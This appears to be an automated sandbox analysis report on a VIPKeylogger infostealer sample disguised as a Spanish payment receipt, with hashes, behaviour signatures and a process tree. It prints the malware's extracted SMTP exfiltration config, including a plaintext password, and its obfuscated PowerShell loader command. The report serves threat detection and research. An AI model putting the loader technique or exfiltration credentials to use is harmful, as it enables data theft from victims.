Analysis
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max time kernel
146s -
max time network
131s -
platform
windows10-2004_x64 -
resource
win10v2004-20250217-en -
resource tags
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submitted
20/02/2025, 14:58
General
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Target
JUSTIFICANTE DE PAGO.exe
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Size
1.5MB
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MD5
60243d8e1b0c3f14d047425916179b53
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SHA1
e47e9975624180ce18e25bd9e95f5fe1302e0bb1
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SHA256
4055a5793b4c9dfcd1b8b55be4fafe54c8c69147c37940fff5364fe6926381d5
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SHA512
09878b1091db3e95820797ddb263f7a14567b20d4bf4d313917a38a2319de58a899594d86c5cdc990c3371a3340ec7a743b88d1c77e80c2cac99c3b74666d015
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SSDEEP
24576:aMwM9cEYGiB/YRVk0c6Ph717SM5vw+WDC5InZ/L9GrsXpJzXo1AH9HBevK9Y9Ek:aMwQG/YRVk0DPhNSM9w+wCyig5JzXo1D
Malware Config
Extracted
vipkeylogger
Protocol: smtp- Host:
smtp.ionos.fr - Port:
587 - Username:
[email protected] - Password:
HSBcargo_22 - Email To:
[email protected]
Signatures
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VIPKeylogger
VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.
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Vipkeylogger family
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Loads dropped DLL 1 IoCs
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Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
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Blocklisted process makes network request 8 IoCs
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Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
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Looks up external IP address via web service 3 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
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Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
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Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
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Drops file in Windows directory 1 IoCs
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Browser Information Discovery 1 TTPs
Enumerate browser information.
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 3 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
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Suspicious behavior: EnumeratesProcesses 11 IoCs
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Suspicious behavior: MapViewOfSection 1 IoCs
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Suspicious use of AdjustPrivilegeToken 23 IoCs
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Suspicious use of WriteProcessMemory 7 IoCs
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outlook_office_path 1 IoCs
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outlook_win_path 1 IoCs
Processes
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C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTE DE PAGO.exe"C:\Users\Admin\AppData\Local\Temp\JUSTIFICANTE DE PAGO.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle minimized "$Opgavetypernes=gc -Raw 'C:\Users\Admin\AppData\Roaming\svampestuvningernes\Circumcising\Subcommissionership\Illimitedness\Sprinkles.Omn';$Miniard=$Opgavetypernes.SubString(53991,3);.$Miniard($Opgavetypernes)"2⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\msiexec.exe"C:\Windows\SysWOW64\msiexec.exe"3⤵
- Accesses Microsoft Outlook profiles
- Blocklisted process makes network request
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- outlook_office_path
- outlook_win_path
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
7KB
MD54c77a65bb121bb7f2910c1fa3cb38337
SHA194531e3c6255125c1a85653174737d275bc35838
SHA2565e66489393f159aa0fd30b630bb345d03418e9324e7d834b2e4195865a637cfe
SHA512df50eadf312469c56996c67007d31b85d00e91a4f40355e786536fc0336ac9c2fd8ad9df6e65ab390cc6f031aca28c92212ea23cc40eb600b82a63be3b5b8c04
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Filesize
315KB
MD52b46a622bdb2c711a4b87a2f8b41ed5a
SHA1123f3c68b2ee3c2da81c061a3476bc9511908de4
SHA25623a0032418c431a2438b3d7f0e0fa82d0c85b176805c6fb93fd00bee61243fc5
SHA51271742f0722c3e1c65f32c5a81743e4909ede6f9223ac64d58d060f1a881d7443b31725a3f517c15699d1ccf97406eacdd988d33fa4f482d5e6ab32148df9e4c1
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Filesize
52KB
MD58af5055352f12b4e6f2465fbc1458cf5
SHA1599607120702949b986bfe936d627470c81f048c
SHA25659f4336f613f08e0183095b710765d0d696428c5a91f3071b094453f38d94655
SHA512340ee325a8c1e66b65d036bf5f2008dfe16d2999cf61ab9bc2f86ff13e53adbe041b31a4f6a97ea050eb7315d544eb3232309325db274e42ad6b2261571d60ea
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Filesize
15.8MB
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Filesize
288KB
-
Filesize
40KB
-
Filesize
584KB
-
Filesize
320KB
-
Filesize
1.8MB
-
Filesize
15.8MB
-
Filesize
624KB
-
Filesize
18.3MB
-
Filesize
652KB
-
Filesize
80KB
-
Filesize
120KB
-
Filesize
304KB
-
Filesize
600KB
-
Filesize
104KB
-
Filesize
136KB
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Filesize
5.6MB
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Filesize
6.5MB
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Filesize
304KB
-
Filesize
7.7MB
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Filesize
200KB
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Filesize
120KB
-
Filesize
136KB
-
Filesize
7.7MB
-
Filesize
40KB
-
Filesize
7.7MB
-
Filesize
68KB
-
Filesize
56KB
-
Filesize
3.3MB
-
Filesize
104KB
-
Filesize
32KB
-
Filesize
168KB
-
Filesize
144KB
-
Filesize
7.7MB
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Filesize
4KB
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Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
7.7MB
-
Filesize
15.8MB
-
Filesize
7.7MB
-
Filesize
408KB
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Filesize
408KB
-
Filesize
7.7MB
-
Filesize
6.2MB
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Filesize
7.7MB
-
Filesize
216KB
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Filesize
4KB
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Filesize
7.7MB
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Filesize
7.7MB